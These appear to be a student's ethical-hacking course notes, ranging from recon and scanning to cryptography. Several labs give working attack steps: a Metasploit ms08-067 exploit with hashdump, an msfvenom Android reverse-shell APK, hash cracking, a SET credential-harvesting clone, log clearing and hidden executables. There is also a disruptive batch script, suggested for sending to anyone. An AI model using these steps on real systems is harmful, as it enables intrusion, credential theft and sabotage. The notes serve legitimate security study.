Softwares, Websites, and CMD needed:

- Websites:
    - Hack This Site!
    - certified hacker
    - Archive.org
    - Netcraft
    - webmii
    - whitepages
    - Google Hacking Database "GHDB"
    - shodan.io
    - IP address lookup
    - Readnotify
    - whois.com
    - Virustotal
- Softwares:
    - Web Data Extractor
    - HTTrack
    - ID Serve app
    - Nessus
    - Hyena tool
    - SNScan
    - Cain and Abel
    - John the Ripper
    - Metasploit
    - putty
    - MRU-Blaster
    - Wipe
    - ClearProg
    - Wine Tools
    - SpyAgnet
- CMD commands:
    - Telnet
    - Netcat
    - Nslookup
    - Auditpol

Introduction to Ethical Hacking

Hacking mean exploiting any vulnerability in a certain system to attack it

Ethical hackeer - Penetration tester - white Hacker must have the permission to hack the systems

Black Hats:

- Known as Crakcer
- Damage systems with Malicious or Destructive activites

White Hats:

- Known as Security Analysts
- OR Penetration Tester
- Hack for defensive purposes to find the vulnerabilites

Grey Hats:

- Work both Offensively or Defensively at various times

Suicide Hackers:

- Bring down critical infrastructures
- Not worried to face any Punishment

Script Kiddies:

- Unskilled hacker who compromises system by running scripts, tools, and software developed by real hacker

Cyber Terrorists:

- Motivated by Religious or Potitical beliefs to create fear by large scale distuption

State Sponsored Hackers:

- Employed by the government to gain info of other governments

Hacktivist:

- Promote political Agenda by Hacking

Essential Terminology in Security or Hacking:

- Hack Value:
  - If it has value then it's worth Hacking

- Vulnerability:
  - Weakness point in the System, Application or Design
  - Use it to gain access to the System, Environment or Infrastructure
- Exploit:
  - AS a Verb > Take advantage of a Vulnerability "Penetrate"
  - AS a Noun > Malicious code or Software "Script - Tool to get access"
- Payload:
  - Part of an Exploit code
  - Give me Access to the Machine
- Zero-Day Attack:
  - A vulnerability that is not known yet
  - System is Attacked and the Vendor Unware
- Daisy Chaining "Pivoting - Bridging":
  - Gaining access to a Machine or Network device to allow me Exploiting it to access to many different devices
  - Using a network device to gian access to other on network
- Doxing:
  - How to collect private information about individual
  - Collect Personal information via Databases - Social Media
- Bot:
  - Software app controlled remotely the Hacker here has "Command & Control" center to control the different remote spots he injected on the systems he has hacked before

    Conscepts in the field of InfoSec:

    - Functionality
      - Tasks that your system is required to do "Features"
- Usability
  - How to run these tasks with Web Interface or Graphical user interface "GUI"
- Security

- Controls or the Restrictions that you use to secure the features or Funcionality you have
- More Restrictions May affect the Usability and the Functionality

Elements of Information Security:

- Confidentiality
  - Mean Privacy
  - No one can access your data except those who are allowed to

- Integrity
  - Mean Safety of Information
  - No one can edit the data except those who are allowed to

- Availability
  - Mean your data is always available

Defense In Depth "DID":

- Mean it's not acceptable to have only a Complex Password on the system to be secured
- Mean it's not acceptable to have only an AntiVirus on the system to be secured
- Mean it's not acceptable to have only a Firewall on the Network to be secured
- It's mean to have more than one layer of seurity which you apply all together to have the largest amount of controls and restrictions that can secure the environment

Attack Vectors:

- Cloud Computing Threats:
  - Attacks targeting client's sensitive data stored on cloud
  - The Problem is that there maybe someone treis to exploit the services that available online and use it to attack the resources of other customers or services

- Advanced Persistent Threat "APT":
  - Stealing information without the user being aware of it
  - Advanced mean the Hacker has skills that spare his effort instead of exploiting many vulnerabilities
  - Persistent mean the Hacker is Dedicated to a specific system - Target, so he tries his best "Stuxnet worm - Shamoon malware"

Insider Attack:

- Person who is undependable, untrusted, and works in the corporate as employee in the environment
- He exploits the data he has known about the corporate to attack their systems

Threat Categories:

- Network Threats:
  - Information Gathering
  - Sniffing
  - Spoofing
  - DNS and ARP Poisoning

- Host Threats:
  - Malware attacks
  - Footprinting
  - Password attacks

- Application Threats:
  - Authentication and Authorization attacks
  - Security misconfiguration

Types of Attacks on specific systems:

- Operating System Attacks:

        - Remote code execution
        - Buffer overflow

- Misconfiguration Attacks:

    - Configuration that the Admin has Forgotten or has Created it wrongly

- Shrink Wrap code Attacks:

    - Attacker exploits the default configuration and settings to attack systems

      Hacking Methodoligy:

        - Reconnaissance "Footprinting":
            - Gather inforamtion about a target
            - Passive Reconnaissance "Gathering data without any interaction with the target"
            - Active Reconnaissance "Gathering data with interacting with the target"

- Scanning:

    - Scan the network and find the live hosts "Machines with services"
    - Port Scan "inform me for the Open Port or Services"
    - Vulnerabiliry Scan "report the different vulnerabilities on the system"

- Gaining Access"Exploitation":

    - exploit the vulnerabilities to attack the machines

- Maintaining Access:

    - Injection to Trojan, Rootkit, Malware or Backdoor to get back to the system

- Clearing Tracks:

    - Remove any information refers to his existence
    - Clear Logs
    - Avoid suspicion
    - Continuing access without being tracked

Footprinting and Reconnaissance

Reconnaissance "Footprinting":

- Phase 1 and Resposible for Gathering largest possible amount of information about the target machine
- Know Security Posture "Security Situation, Security fearures or controls currently used in the organization"
- Reduce focus Area
- Identify Vulnerabilities
- Draw Network Map
- Collect Network Information "Names - IP addresses"
- Collect System Information "Users - Groups - Banners"
- Collect Organization's Information "Website - Employees"

Search Engine Tools:

- Choose the best search engine "Google - Bing"
- We Use "Hack This Site! - certified hacker" to do missions or check your attacks
- We Use "Archive.org" to know information about website in the past
- We Use "Netcraft site report" to get a lot of information about any website
- We Use "webmii - whitepages" to search about people

Google Operators:

- controls help me in my search
- Like "..." to search for specific word

- Like "..." site:... for specific website to search in
- Like "..." site:... filetype:... for specific file type
- Like intitle:... specified for the word to be in the web title
- Like inurl:... specified for the word to be in the url

Using Google Hacking and Shodan:

- Use (inurl:login) for searching for the word login in the urls
- Use (inrul:login site:www.microsoft.com) word login in this website
- This is led to (Google Hacking Database)-
- Like search (intitle:webcam 7 inurl:8080) take IP and open shodan.io to find its location

Website Reconnaissance Tools (Web Data Extractor - HTTrack):

- Web Data Extractor:
  - We use this app to get data about specific website by the URL

- WinHTTrack:
  - This app can take copy of the websites so you can see them offline

Email Tracking Tools (ReadNotify):

- ReadNotify is a website allows you to track an Email you sent
- ReadNotify can send tracking Emails in order to know more about the honer of the Email
- when we send the Email we put in the end of the Email ".readnotify.com"
- then when its opened you will get all information like "Open time - IP - Browser - Location"

Domain reconnaissance tools (WHOIS,NsLookup):

- Whois.com:
  - Website give you alot of information about different domains of your targets websites
  - Got to "whois.com", Then choose "who is" and type the "URL"
  - Give you data like "DNS - Location - State - Contact Email - Phone Num"

- NsLookup "Name Service Look UP" from CMD:
  - IN CMD type "nslookup domain_name"
  - then you'll get Default information about the website "IP - DNS"
  - if you type "nslookup" you'll see the default server
  - You can change it by typing "server IP_DNS_Server"
  - You can use more option like "type" it's the "Kind of DNS record which i can know through DNS server"
  - DNS records "A record - quad A record - NX - MX - NS - CNAME"
  - EX: Name Server "DNS server" type "set type=NS" enter then "Website name"
  - EX: Email Server type "set type=MX" enter then "Website name"

Scanning Networks:

Network Scaning:

- Live Hosts
- Open Ports
- IP addresses
- Operating System
- Network scaning used for preparing a profile for the targets

TCP Communication Flag Types:

- TCP is a connection-oriented protocol send some packets to make a connection "Connection Establishment"
- TCP consist of process for establishing a connection, restarting a failed connection, and finishing a connection, They are called Flags
- TCP contains "ACK - RST - SYN - URG - PSH - FIN" flags
  - SYN "Synchronize" = Initiates a connection between hosts
  - ACK "Acknowledge" = Established connection between hosts
  - PSH "Push" = System is forwarding buffed data.

        - URG "Urgent" = Data in packets must processed quickly.
        - FIN "Finish" = No more transmissions.
        - RST "Reset" = Resets the connections.

    Port Discovery:

      - TCP Protocol:
        - Found in Transport Layer
        - Connection Oriented
        - Reliable Communication
        - Make Connection Establishment "SYN - SYN/ACK - ACK - Send - Reply - FIN - ACK - FIN - ACK"

- UDB Protocol:
    - Found in Transport Layer
    - Connectionless Oriented
    - Best Effort Communication
    - No need for Connection Establishment "Send - Reply"

    Scanning Teckniques:

      - Scanning TCP Network Services:
        - TCP Connect - Full Open Scan
          - Used for Making a Connection Establishment with specific Port
          - "SYN - SYN/ACK - ACK - RST" Then Port is Open
          - "SYN - RST" Then Port is Close

```
- Stealth Scan - Half-Open Scan
  - "SYN - SYN/ACK" Then Port is Open
  - "SYN - RST" Then Port is Close

- Xmas Scan
  - Use more than one Flag together to start scanning
  - "FIN + URG + PSH" this make the Security control panic or evasoin
  - If You received "NO Response" then the Port is Open
  - If You received "RST" then the Port is Close
```

    Port Scanning using NMAP "ZENMAP":

      - Difference between NMAP and ZENMAP is the GUI
      - NMAP is a command line tool
      - "nmap -sn IP_address" Ping Scan "available or not" - disable port scan, It'll give you the "MAC" and if it's "available or not"
      - "nmap IP_address" to get the "Opened Ports"
      - "nmap -sV IP_address" to know open ports to determine service/version info
      - "nmap -O IP_address" to Enable OS detection
      - You can use Scripts "Profile > Edit selected profile > scripting"
      - "nmap --script http-methods IP_address" to run http-methods script

    Banner Grabbing:

      - Mean get banner or the basic information in the webserver version
      - You can Use CMD tools "Telnet - Netcat" or "ID Serve app":
        - Telnet:
          - Used in Remote Access Command Line Connections to check specific service on a specific port
          - IN CMD "telnet Target_site Port_Num"
          - No response mean you're connected and you can run any method like "get"
          - "get" give you the server version

```
- Netcat:
  - "nc -vv Target_site Port_Num" if open then you can run any method like "get"
  - "get" gives you the Server Version

- ID Serve:
  - type the websitte then "Query this server"
  - Give you the same results of the Previous 2 commands
```

    Vulnerability Scanning with Nessus:

      - vulnerability scanning to get weakness points and the vulnerabilities on a specific app and specific version
      - We use Nessus vulnerability scanner Essential
      - After installation "New scan > Advanced scan"

- You've basic settings or you can choose "Credentioals - Compliance Plugins"
- Credentials provide a user_name and pass for the scan helping to login to the machine
- Compliance help you making Mapping for the information exists in the settings of target OS
- Plugins have all scripts for all OS to choose from them
- If you make a scan after that take care of "Critical and High"
- You can export the data as PDF

ShellShock Vulnerability Scanning with Nessus:

- ShellShock is a famous Linux vulnerability
- Called also Bashdoor and has several CVE Nums "Common Vulnerability and Exposures number" and it's Unique
- We use Bash Shellshock Detection to scan linux or unix machines
- Shellshock allows the attacker to run a Remote Code Execution

Anonymizing Techniques using Public Proxy Services

- We use "Proxy Switcher" to hid our IP and Location
- The idea is the Proxy act as he is the source not me
- Download Proxy Switcher app and then open it as triel
- Double Click on any server to connect to it
- Test it by "What's My IP"

Enumeration concepts:

- It's under Scanning phase
- Enumeration means Getting more information depending on the output of the scanning
- Used to get data like "Usernames - Active Directories - Users - Admins - User Groups - Default Passwords - System - Apps - SNMP"
- If there is an "enabled DNS service" we could make "DNS Zone Transfer", mean transfer the DNS server's data from the machine
- Enumeration Techniques run mainly in the intra net environmnet "internet network"
- Types " NetBOIS - SNMP - LDAP - NTP - DNS"
- For "NetBOIS" we use "Hyena tool" to get "User accounts - login names - shares"
- For "SNMP" we use "SNScan tool" to get "community names - Network devices"

System Hacking:

Previous steps:

- Foot Printing "Reconnaissance":
  - To collect the largest amount of information about the targets
  - Data like "IP range - Name space - Domain - Employees - Websites"

- Scanning:
  - To Make assess his targets to identify the systems and the services
  - We get more data with Enumeration "User list - Security flaws"

  Hacking:

  - Gaining access
    - Bypass the access control in order to access the system
    - Like "Social Engineering - Password Cracking"
    - Escalate Privilages to be an Administrator or admin user
    - Install apps to maintaining his access on the machine

- Maintaining access

  - Use "Trojans - Spywares - Keyloggers"
  - Hide any malicious activities or malicious files like Rootkits
  - Use Steganography technique

- Covering Tracks
    - Hide any evidence of his access to the system with clearing logs

      Identification and Authentication Teckniques:

        - Passwords "Something you know"
            - Most common authentication techniques
            - Weakest form of protection "Fogotten - Written - Share - Stole"
            - Types "Static - Dynamic - Cognitive" passwords
            - Irreversible Use Hashing Algorithm Not Encryption or Decrypteion

- Biometric "Something you are"
    - Finger Print
    - Face Scan
    - Eyel Scan
    - Errors "Valid subject isn't Authenticated and vice versa"

- Tokens "Something you have"
    - Hardware Device which generates one time Password
    - If the battery dies or the device is broken the subject is unable to gain access

      Passwords Attacks:

        - Network Traffick Analysis
            - like Using Clear text protocol "FTP - Telnet"
            - Attacker cuptures the unencrypted username and password

- Brute-Force Attack
    - Try all possible combinations until correct password is found

- Dictionary Attack
    - Predefined list have specific words exist in a file, expecting the pass is one of these words
    - Faster than Brute Force

- Rainbow Table Lookup/ Pre-computation Brute force
    - Contians word lists like Dictionary files and Brute force lists and their Hash Values
    - Makes cracking a 100 times faster cause it compare Hashes

- Hybrid Attack
    - Using a Dictionary and you can add Extra Features "Symbols - Nums"

- Social Engineering
    - Convincing people to reveal confidential information
    - Exploit the weakness of person to strengthen your relations so he gives you information that shouldn't be shared

      Pre-computation attackes countermeasures:

        - Unix Use Password Hash Salting
            - Adds some other parameters like Salting

- Windows Use NTLM Authenticaiton Process "New Technology Lan Man V2"
    - Adds Extra Variables and extra parameters

      Increasing password Security:

        - Use complex, strong Passwords "Long - Special Characters"
        - Use Password verification tools against your password DB file
        - Disable inactive Useer Accounts
        - Users Traning about using of Strong passwords
        - Toot or Asmin should be changed regularly
        - Never transmit passwords via emails

      Passwords Cracking Tools:

- Cain and Abel
- John the Ripper

Password Cracking using Cain and Abel tool:

- Download and install Cain&Ablel
- Run as Admin > choose Cracker > Add > Add Password Hask file
- Key sign mean the pass is found or Empty
- Choose any user and Right click then choose any attakc "Dic"
- Cain and Abel have built in list of saved passwords
- Don't forget to reset the Position when you attack again

Password Cracking using John the Ripper tool:

- First it's a CMD Tool so Open CMD in the Tool file as Admin
- john.exe 'sam.txt' | sam.txt is a changable file
- 1 - 2 mean that the pass is longer than 7 characters
- SAM file is the file which store the Hash value of passwords "win"

- Linux store the Hash values in 2 files "passwd - shadow"
  - shadow has the Hash values of the Passwords
  - passwd has the data of the usernames
  - We Merge both of them cause John use only one file
  - First we remove a file called john.bot "Cracks logs"
  - Then "unshadow.exe passwd shadow > output.txt"
  - Last "john.exe output.txt"

  Gaining Remote Access Using Metasploit Meterpreter:

  - We use Metasploit tool on kali linux
  - open Terminal and type "msfconsole"
  - Exploits > allows you to access target machine and attack vuln.
  - Payloads > tell what action you take after exploiting the machine
  - Auxiliary> modules help creating other functions beside attack
  - "search ms08-067" it's a vuln. on win machine
  - use the given exploit to attack "use Num"
  - "show options" and give the needed informations "RHOST"
  - "set RHOST 192.168.94.130" then "show optins"
  - we need to use payloads "show payloads"
  - "set PAYLOAD windows/meterpreter/bind_tcp" to set payload
  - "exploit"
  - then "?" to give you all commands you need
  - Like "hashdump" to collect all hashs and users on the machine

  Hiding Files: NTFS Alternate Data Streams Exploit:

  - In NTFS partition we can hide File inside another File

- Hide txt files in text file:

  - At C: create New folder and then open CMD as Admin and "cd C:/file"
  - type data in txt file 'echo "clear content" > 1st.txt"
  - To hide a file in the previous file we use Alternate data stream
  - 'echo "hidden content" > 1st.txt:hidden.txt'
  - "notepad 1st.txt:hidden.txt" to open the hidden file
  - "dir/r" to show you files with data stream in it

- To hide an executable file "exe file" in txt file:

  - 'echo "sample content" > test.txt'
  - we use putty app to make remote access in a machine or server
  - "type putty.exe > test.txt:executable.exe"
  - "dir/r" to show you files with data stream in it
  - "mklink" when double click it runs the hidden exe file
  - "mklink runme.exe test.txt:executable.exe"

  Covering Tracks:

  - We use CMD tool Auditpol
    - "auditpol /?"
    - "auditpol /get /category:*" to get all data

- we use CMD as admin

    - clear logs.exe -sec
- OR Meterpreter shell
    - clearev
- OR Clear Event logs
    - from event viewer
    - start > control panel > system & sec. > admin. tools > event viewer
- OR in Linux machine
    - remove file "Var/log/massages"
- Most Recently Used "MRU - online data"
    - Like Cookies
    - Use "Ccleaner - MRU-Blaster"
- Apps like
    - "Wipe - ClearProg - Wine Tools"

Malware Threats:

Malware Overview:

- Malware is Malicious software dameges or disables computer systems
- Malware Gives the attacker limited or full control of the system

Exmaples of Malware:

- Trojan horse
- Virus
- Worm
- Spyware
- Botnet
- Ransomware

Ways a malware gets into a system:

- Instant Messages "Massages on whatsapp or Facebook"
- Browser &Email software bugs
- Removable Devices "USB flash"
- Fake Programs "fake programs you download"

Malware Distributing Techniques:

- Social Engineering click-jacking
    - Attacker deceives a user to open a page contains the Malware
- Malvertising
    - Imbedding or Hiding Malware in adds on Network "pop ups
- Drive-by Downloads
    - Use the Flows or the bugs exist in browser's software
- Compromised Legitimate Websites
    - Hosting a Malware in one of the websitesd I've attacked

    Trojans:

    - Used to disable "Firewall - Antivirus"
    - Used to delete, disable or replace the OS files
    - Used to Generate Fake traffic for "DoS attack"
    - Used to create Backdoor "attakcer used it for remote access"

- Used to Record, Screenshots, audio files, vidio files of victim's PC
- Used to make victim's PC as a botnet "DoS attakc"
- You should take as there are Trojans for every port we know

How to infect system by Trojan:

- Create a Trojan using a Trojan Horse Construction kit
- Create a Dropper to install the malicious code in target's system
- Create a Wrapper to install Trojan on victim's system "Hide the malicious code in legitimate tool like calc."
- Propagate the Trojan
- Execute the Dropper
- Execute the damage routine

Virus:

- Self-replicating program as it downloaded on the victim's computer
- Produce its own copy by attaching itself to programs, computers, ..
- Sent through file downloads or Infected flash drive

Virus characteristics:

- Infect other programs or systems
- Corrupt or Alters the Data or files
- Transform itself to perform evasion techniques "to not be catched"
- Encrypt itself and make self replication

Stages of Virus life:

- Design the Virus
- Add the Replication part "replicate for a period of time or as a reaction for a given action"
- Launch the Virus "action made to launch the virus"
- Detection to remove the virus
- Incorporation "defenses against the virus"
- Elimination

Virus infection phase:

- The virus replicates itself and attackes to an .exe file in system
- Virus adds a specific part to edit Header and parameters to the run the virus before, after, or within the code usage

Virus Attack phase:

- Trigger Events to activate and corrupt systems
- Infect each time they are run based on a predefined condition: time, or particular event

Why people create viruses

- Financial Benefits
- Damage to competitors
- Research projects
- Cyber terrorism

Indication of Virus Attack:

- Unable to load OS
- Driv lavel changes "Partition letter"
- Computer beeps with no display
- Computer slows down
- Anti-virus Alerts
- Browser Window Freezes

How computer get infected by Viruses:

- Download malicious file without checking it
- Infected email attachments
- Pirated software
- Infected plug-ings
- No anti-virus app

Virus Hoaxes and Fake Antiviruses:

- False warning about computer viruses that don't exist
- It's fake to download softwares with malwares and viruses
- Diguise malwares as an antivirus to damage target systems

Ransomware is a software encrypts the hard disk and asks you to pay a specific amount of money to give you the decryption key. so you should take Backups and not to download or open any link you don't know

Worm:

- Malicious programs that replicate, execute, and spread across the network without human inteaction
- Consume computing resources, consume network bandwidth, damage the host system
- Attackers use worm payload to install backdoors
- Infected computers turns into zombies (botnet) for further attacks

Worm VS. Virus:

- Worm:
  - Replicates itself on its own
  - Doesn't require human interaction
  - Spread through the infected network automatically

- Virus:
  - Transmitted via downloads, drives, or emails
  - Can't be spread without human interaction

Spyware Lap "SpyAgent":

- spyware is an app installed on target machine for gathering data
- Download SpyAgnet and install it then choose tester
- start monitoring as the program work in stealth mode
- You can get back to it by "ctrl + shift + alt + m"
- when you open it again you can find all data that user made it.

Virus Lap:

- To make a virus firs make new .txt file and rename it to "name.bat"
- .bat is an executable file in windows "Batch" so we edit it
- start is a command to open CMD

```
@echo off
:LoopHere
start
start www.google.com
goto :LoopHere
```

- Then you save this code in the .bat file
- You can send it to anyone once it run the machine will be down
- Double click on that file will open alot of CMD and google windows
- Untill the machine restart the batch won't stop

Virustotal:

- Website used to scan files and URLS to see if the antivirus can detect it or not
- our past batch can't be detected

Social Engineering:

Social Engineering:

- It's convincing people to reveal confidential information
- People are unaware of their valuable information

Companies Vulnerablility Factors:

- Insufficient security Training
- Several Organizational Units aren't aware of each other
- Unregualated access to information

- Lack of security Policies

Why Social Engineering is Effictive:

- Difficult to be detected
- Depends on the person himself "Weakest link in security chain"
- Can be done without Software or Hardware

Social Engineering Phases:

- Look for a target company
- Select a specific victim
- start developing a relationship with the victim
- Once relationship is strong you can attack or exploit this relation to get information you aren't allowed to get

Social Engineering Types:

- Human-based
  - Ineraction with individuals
  - Impersonation "pretend to be another person"
  - Eavesdropping "Unauthorized listening to conversations, spy calls"
  - Shoulder Surfing "setting behind person to see IMP. informations"
  - Dumpser Diving "search the trash or dump form IMP. informations"

- Computer-based
  - with need to the help of computers or systems
  - Spam Emails ""
  - Pop-up windows ""
  - Instant Chat ""
  - Phishing "copy of social website controlled by attacker to send fake emails"

- Mobile-based
  - with need to the of mobile app to run the function that I need
  - Use apps to publish malicious codes in it, fake security apps

Social Engineering Counermeasures:

- Training "Training for the employees"
- Access Privileges "Who are Admins, users, guest accounts and thier authorizations?"
- Information Classification "top secrete informations and public one"
- Operational Guidelines

Phishing Attack lab:

- We use Social Engineering tool kit on Linux
- open a terminal then type "setoolkit" then enter
- we need a social engineering attack so we type "1"
- we choose Website Attack Vectors type "2"
- we choose Credential Harvester Attack Method type "3"
- we choose Site Cloner type "2"
- it will give you the working IP hit enter "private IP"
- then type the URL of the page you want to clone
- You can make it clobal by hosting the private IP and make it public
- when the victim types his data in the infected URL, it will be sent to the hacher in the setoolkit and redirect the victim to the real URL

Hacking Web Servers:

Web Server Security Issue:

- Web Server is an app or program in a hardware hosts the website
- Attacker exploits the vuln. of a software
- Layers "Security - Network - OS - Web Server - Database - 3rd party components - Custom web apps"

Why Web Servers are Compromised:

- Default settings "Leave the default settings as they are"
- Unnecessary services are enabled
- Security confilcts with business ease-of-use case
- Lack of proper security policy
- Improper authentication with external systems
- Misconfigurations in web server, OS, and networks
- Bugs in server software, OS, and web apps

Impact of Webserver Attacks:

- Compromise of user accounts
- Website defacement "Change the website interface"
- Secondary attacks from the websites "Bevoting or Bridging"
- Root access to other apps or servers
- Data tampering and data theft "Modifying or stealing"

Web server attacks:

- DoS / DDoS attack
  - Attackers send huge amount of fake requests to the web server
  - The web server crash and become unavailable to the legitimate user

- DNS server Hijacking
  - Attackers compromise DNS server, changes the DNS settings
  - All requests coming toward the target web server are redirected to the attackers malicious server

- Directory Traversal
  - Attackers use (../) to access restricted directories outside of the web server root directory

- Man In The Middle (MITM) / Sniffing
  - Attackers access sensitive information by intercepting between an end-user and web server

- Phishing
  - Make a copy of the webstie and host it to another place to get data from users when they try to log in these websites

- SSH brute-force
  - SSH protocols are used to create encrypted SSH tunnel between 2 hosts
  - Attackers can brute force SSH login credentials
  - Gain unauthorized access to an SSH tunnel
  - SSH tunnels can be used to transmit malwares and exploits to victims

  Vuln. on web apps run on the web server:

  - SQL injection
  - Cross-Site Scripting (XSS)

Hacking Wireless Networks:

Types of Wireless networks:

- Extension to wired network "install Access point to wired network"
- Multiple Access Points
- LAN-to-LAN Wireless Network "2 wired lan use and Access Point"
- 3G / 4G Hotspots

Wifi Chalking is some symboles used by Hackers to identify what you find in the place

Wi-Fi chalking symbols:

-)(= Free Wi-Fi

-)(and key with lock = Wi-Fi with MAC filtering
-)(and empty key = Restricted Wi-Fi
-)(and key with NUM 5 = Pay for Wi-Fi
-)(and key with sign - = Wi-Fi with closed SSID
-)(and key with X = Wi-Fi with multiple Access controls
-)(and key with W = Wi-Fi with WEP
- Huny in Circle = Wi-Fi Honeypot

Wireless Threats:

- Access control Attacks
  - War Driving
  - Mac Spoofing
  - Rogue Access Points

- Integrity Attacks
  - Dat Frame Injection
  - Data replay
  - WEP injection
  - IV replay
  - Bit-Flipping
  - EAP reply
  - RADIUS replay
  - Wireless Network Viruses

- Confidentiality Attacks
  - Session Hijacking Like (MITM)

- Availability Attacks
  - DoS
  - De-authenticate Flood
  - Routing Attacks

Hacking Mobile Platforms:

Mobile Device Risks and Best Security Practices:

- Open Web Application Security Project (OWASP) Top 10 Risk for mobile in 2014:
  - Weak Server Side Controls
  - Insecure Data Storage
  - Insufficient Transport Layer Protection
  - Unintended Data Leakage
  - Poor Authorization and Authentication
  - Broken Cryptography
  - Client Side Injection
  - Security Decisions Via Untrusted Inputs
  - Improper Session Handling
  - Lack of Binary Protection

Anatomy of a Mobile Attack:

- Device
- Network
- Data Center

Android OS Architecture:

- Linux Kernal to operate:
  - Monitor
  - Speakers
  - Flashes
  - Kayboard
  - Bluetooth
  - Wi-Fi
  - Camera
  - OS

- Libraries:
    - Surface Manager
    - openGLIES
    - SGL
    - Media FW
    - FreeType
    - SSL
    - SQLite
    - WebKit
- Framewrok:
    - Activity Manager
    - Window Manager
    - Package Manager
    - Telephony Manager
    - Resource Manager
    - Content Manager
    - Location Manager
    - View Manager
    - Notification Manager
- Apps:
    - Home
    - Contacts
    - Phone
    - Browser
    - And&More!

      Apple IOS Architecture:

        - Core OS
        - Core Services
        - Media
        - Cocoa Touch

      Mobile Device Attack Vectors:

        - Andrion Rooting
            - Allows android users to arrain privileged control
            - Involves exploiting security vuln. in device firmware
            - Could have Malicious Software
            - Collapse system and loss or leakage of confidential information
- Iphone Jailbreak
    - Could have Malicious Software or Malware

      Secure Android Device:

        - Enable Screen Locks
        - Update OS
        - Don't Download any APK package from untrusted source
        - Never Rooting the Android device

      Installing Malware On Android:

        - We use Kali Linux and use the Terminal to do this
        - Type "msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.142.136 -o clickme.apk"
        - web service start type "service apache2 start"
        - then type "service postgresql start"
        - then type "msfconsole"
        - connect to the ip "192.168.142.136"
        - then move "clickme.apk" to " /var/www/html/"
        - in the terminal type "use exploit/multi/handler" then "show options"
        - type "set lhost 192.168.142.136"
        - then "set payload android/meterpreter/reverse_tcp" then "exploit"
        - on the android device go to the IP "192.168.142.136" and download the apk and install it
        - if meterpreter shown then you hacked the device

IoT Hacking

IoT Hacking Tool "Shodan":

- Go to shoda.io
- Make an acount then go to Explore
- you can find anything

Cloud Computing:

Cloud Computing concepts:

- cloud computing means there is on-demand delivery for a specific IT service
- If you (subscriber) need a service you don't need to have its hardware so you can take it as on-demand from a service provider

Cloud Computing Services:

- Infrastructure-as-a-Service (IaaS)
  - Service provider provides the infrastructure as a service to use
  - "Amazon - EC2 Services - GoGrid - SunGrid"

- Plarfrom-as-a-Service (PaaS)
  - Service Provider has hardware and infrastructure and provides the tool of the deployment platform to develop your Apps
  - "Google App Engine - Microsoft Azure"

- Software-as-a-Service (SaaS)
  - Service Provider provides you an access to a specific software engines and Apps used as you wish
  - "Google Docs - Calendar - SalesForce - CRM"

  Respnsibilities in cloud:

  - Traditional "Provider"
    - Networking
    - Storage
    - Servers
    - Virtualizations
    - OS
    - Middleware
    - Runtime
    - Data
    - Apps
    - On-Premises

- Infrastructure-as-a-Service (IaaS)
  - Networking
  - Storage
  - Servers
  - Virtualizations

- Platform-as-a-Service (PaaS)
  - Networking
  - Storage
  - Servers
  - Virtualizations
  - OS
  - Middleware
  - Runtime

- Software-as-a-Service (SaaS)

- Networking
- Storage
- Servers
- Virtualizations
- OS
- Middleware
- Runtime
- Data
- Apps

Cloud Deployment Models:

- Private "On premises"
- Community
- Public
- Hybrid

Cloud Computing Risks:

- Data Breach
- Abuse of cloud services&insecure APIs
- Hardware Failure
- Maliciouse Insiders

Cloud Computing Attacks:

- Ransomeware
- Service Hijacking via Social Engineering
- Session Hijacking using XSS
- SQL Injection
- DoS&DDoS
- DNS

Cryptography

Cryptology:

- Cryptography "Hidden Writting"
  - Encryption "Plain text >> Cipher text" then Decryption
  - Transposition Cipher "DES - 3DES"
  - Substitution Ciphers "Shifting all letters a certain NUM"

- Cryptanalysis "Cracking the code"
  - Brute Force Attack
  - Frequency of letters in the English language

Cryptography:

- Confidentiality "Achieved by Encryption"
  - Security of data, no one can data except those who are allowed
  - Summetric Encryption "same key at encryption and decryption"
    - Uses shared sectet key
    - Faster processing
    - Key distribution so multiple people could know the key
    - Algorithms "DES - 3DES - AES - IDEA - Blowfish"

```
- ASummetric Encryption "different key at encryption and decryption"
  - Key pair "Public for encryption - Private for decryption"
  - A sender and receiver don't share a secret key
  - Slow Processing
  - Algorithms "RSA - ELGamal - elliptic curves - DH"
```

- Integrity "Achieved by Hashing"

  - Mean the data no one can edit it except those who are allowed
  - Hash Func. is one-way irreversible func. and fixed-length digest
  - Algorithms "MD5 - SHA-1 - SHA-2"
  - Saved from hacking by "HMAC" with secret key

- Authentication and Non-repudiation "Achieved by Digital Signature"

    - We need Public and Private keys
    - Hash Func. > Encryption "Private key" > Decryption "Public key" > Hash Func.
    - Https websites and VPN

Recommendations:

- Blogs
    - Sans.org
    - Bugcrowd.com
    - Hackerone Community
- Resources
    - Nist.gov
    - Cisecurity